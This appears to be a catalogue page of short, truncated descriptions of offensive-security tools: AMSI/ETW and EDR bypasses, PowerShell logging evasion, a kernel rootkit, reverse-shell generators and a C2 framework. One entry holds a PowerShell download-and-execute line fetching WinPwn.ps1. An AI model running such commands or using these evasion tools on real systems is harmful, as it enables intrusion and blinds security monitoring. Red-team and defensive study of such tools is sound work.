SharpBlock

SharpBlock A method of bypassing EDR's active projection DLL's by preventing entry point execution. Features Blocks EDR DLL entry point execution, which prevents EDR hooks from being placed. Patchless AMSI bypass that is undetectable from scanners looking for Amsi.dll code patches at runtime. Hos...

NyxInvoke

NyxInvoke NyxInvoke is a versatile Rust-based tool designed for executing .NET assemblies, PowerShell commands/scripts, Beacon Object Files BOFs and PE files with built-in Ntdll Unhooking, patchless AMSI and ETW bypass capabilities. It can be compiled as either a standalone executable or a DLL...

wmiexec-Pro

wmiexec-Pro New generation of wmiexec.py. Table of Contents 1. Info 2. Special thanks 3. Features 4. Getting Started Installation 5. Usage 6. Screenshots 7. How it works? 8. Disclaimer 9. References Info The new generation of wmiexec.py, more new features, whole the operations only work with port...

Rusty-Playground

Rusty-Playground 🦀 A collection of Rust programs showcasing some offensive-securtiy and evasions techniques Tool| Description| References ---|---|--- ClipboardMon| Monitors the clipboard for changes and logs clipboard content or copies files depending on detected changes.| - DumpMDEConfig|...

meterpeter

Author: @r00t-3xp10it Version release: v2.10.14 Distros Supported: Windows x86|x64, Linux Inspired in the work of: '@ZHacker13 - ReverseTCPShell' :octocat: Quick Jump List Project Description List Of Available Modules Meterpeter C2 Latest Release How To - Under Linux Distributions How To - Under...

AMSI-Bypass

AMSI-Bypass Lists of AMSI triggers VBA, JScript / VBScript Reference : MISC 104 - AMSI: Fonctionnement et Contournements In VBA, JScript and VBScript, AMSI uses a circular buffer to log instructions and a list of believed suspicious functions. The use of one of those blacklisted functions trigger...

Invisi-Shell

Invisi-Shell Hide your powershell script in plain sight! Invisi-Shell bypasses all of Powershell security features ScriptBlock logging, Module logging, Transcription, AMSI by hooking .Net assemblies. The hook is performed via CLR Profiler API. Work In Progress This is still a preliminary version...

MoreImpacketExamples

MoreImpacketExamples This repository contains a few short python scripts that were created using the Impacket library. The primary goal of this project is to help myself and others who are looking to transition from using the provided impacket examples to modifying/creating scripts of their own...

LightsOut

LightsOut LightsOut will generate an obfuscated DLL that will disable AMSI & ETW while trying to evade AV. This is done by randomizing all WinAPI functions used, xor encoding strings, and utilizing basic sandbox checks. Mingw-w64 is used to compile the obfuscated C code into a DLL that can be...

PowerShx

SharpShx Unmanaged PowerShell execution using DLLs or a standalone executable. Introduction PowerShx is a rewrite and expansion on the PowerShdll project. PowerShx provide functionalities for bypassing AMSI and running PS Cmdlets. Features Run Powershell with DLLs using rundll32.exe,...

SharpKiller

SharpKiller Lifetime AMSI bypass AMSI-Killer by @ZeroMemoryEx ported to .NET Framework 4.8. Additional Obfuscation required https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/SharpKiller.A&ThreatID=2147895059 Newly integrated features: x - Live scan fo...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Tool Collections WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

Nidhogg

Nidhogg Nidhogg is a multi-functional rootkit to showcase the variety of operations that can be done from kernel space. The goal of Nidhogg is to provide an all-in-one and easy-to-use rootkit with multiple helpful functionalities for operations. Besides that, it can also easily be integrated with...

Stracciatella

Stracciatella v0.7 Powershell runspace from within C aka SharpPick technique with AMSI, ETW and Script Block Logging disabled for your pleasure. Nowadays, when Powershell got severly instrumented by use of techniques such as: AMSI ETW Script Block Logging Transcript file Modules logging Constrain...

ExecuteAssembly

Description: ExecuteAssembly is an alternative of CS execute-assembly, built with C/C++ and it can be used to Load/Inject .NET assemblies by; reusing the host spawnto process loaded CLR Modules/AppDomainManager, Stomping Loader/.NET assembly PE DOS headers, Unlinking .NET related modules, bypassi...

shells

Shellz A script for generating common revshells fast and easy. Especially nice when in need of PowerShell and Python revshells, which can be a PITA getting correctly formatted. PowerShell revshells Shows [email protected], above the prompt and working-directory Has a partial and full...

Girsh

Girsh Golang Interactive Reverse SHell Who didn't get bored of manually typing the few lines to upgrade a reverse shell to a full interactive reverse shell tty spawn, stty size ..., stty raw -echo or typing the command to use ConPTY. Description With Girsh, just run it and it will detect the OS a...

Amsi-Bypass-Powershell

Sponsored by Amsi-Bypass-Powershell This repo contains some Antimalware Scan Interface AMSI bypass / avoidance methods i found on different Blog Posts. Most of the scripts are detected by AMSI itself. So you have to find the trigger and change the signature at the part via variable/function...

MeterPwrShell

Inactive Tool - Reason : busy with something else . . . / \ / | \ \ / /| | | | | | \ \ / \ / / \ / \ \ | / / | \ \ | | / | | | | / / / Y \ /| | \ /| | / | \ / | | / | Y \ /| || |/ \ | /\ | \ | || // || / /|| /\ /| \ / / / / / / / MeterPwrShell2 Automated Tool That Generate A...

IronSharpPack

IronSharpPack IronSharpPack is a repo of popular C projects that have been embedded into IronPython scripts that execute an AMSI bypass and then reflective load the C project. IronPython and the DLR have very little, if any, instrumentation that makes it an effective language for the execution of...